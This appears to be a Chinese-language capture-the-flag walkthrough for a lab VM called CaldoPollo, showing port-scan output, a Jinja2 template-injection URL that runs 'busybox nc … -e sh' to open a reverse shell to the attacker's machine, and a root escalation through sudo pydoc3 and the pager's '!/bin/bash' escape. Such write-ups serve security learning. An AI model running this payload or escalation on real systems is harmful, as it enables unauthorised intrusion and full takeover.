Caldo de Avecren

信息搜集

192.168.43.152

端口扫描

┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.152 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.152:22
Open 192.168.43.152:80
Open 192.168.43.152:8089
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.152
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 17:24 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
Initiating ARP Ping Scan at 17:24
Scanning 192.168.43.152 [1 port]
Completed ARP Ping Scan at 17:24, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:24
Completed Parallel DNS resolution of 1 host. at 17:24, 4.50s elapsed
DNS resolution of 1 IPs took 4.50s. Mode: Async [#: 3, OK: 0, NX: 0, DR: 1, SF: 0, TR: 6, CN: 0]
Initiating SYN Stealth Scan at 17:24
Scanning 192.168.43.152 [3 ports]
Discovered open port 80/tcp on 192.168.43.152
Discovered open port 22/tcp on 192.168.43.152
Discovered open port 8089/tcp on 192.168.43.152
Completed SYN Stealth Scan at 17:24, 0.02s elapsed (3 total ports)
Initiating Service scan at 17:24
Scanning 3 services on 192.168.43.152
Completed Service scan at 17:24, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.152
NSE: Script scanning 192.168.43.152.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.28s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
Nmap scan report for 192.168.43.152
Host is up, received arp-response (0.00062s latency).
Scanned at 2026-05-19 17:24:18 CST for 7s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64=
|   256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
8089/tcp open  http    syn-ack ttl 64 Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Caldo pollo
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
MAC Address: 08:00:27:2E:46:C2 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/19%OT=22%CT=%CU=41693%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0C2C49%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 44.148 days (since Sun Apr  5 13:51:14 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.62 ms 192.168.43.152

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:24
Completed NSE at 17:24, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)

22 SSH
80 HTTP
8089 HTTP

这里我使用的是burpsuite的scan功能

扫描出xss和ssti漏洞

成功触发xss

ssti也成功触发，那么肯定是选择ssti漏洞了，因为xss不能rce而ssti可以

利用ssti漏洞进行反弹shell

1	http://192.168.43.152:8089/?user={{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('busybox nc 192.168.43.6 7777 -e sh').read() }}

‍

提权

caldo -> root

caldo@CaldoPollo:~$ sudo -l
Matching Defaults entries for caldo on CaldoPollo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User caldo may run the following commands on CaldoPollo:
    (root) NOPASSWD: /usr/bin/pydoc3

可以使用pydoc3进行提权

查看pydoc3

caldo@CaldoPollo:~$ cat /usr/bin/pydoc3
#!/usr/bin/python3.11

import pydoc
if __name__ == '__main__':
    pydoc.cli()
caldo@CaldoPollo:~$ ls -al /usr/bin/pydoc3
lrwxrwxrwx 1 root root 9 abr  9  2023 /usr/bin/pydoc3 -> pydoc3.11

pydoc3 是 Python 的文档查看器，其底层在输出长文本时会调用系统的分页器（Pager，通常为 less ）。而 less 分页器在交互模式下允许通过特定的转义字符执行系统命令。

cd /tmp
touch file
sudo /usr/bin/pydoc3 /tmp/file
!/bin/bash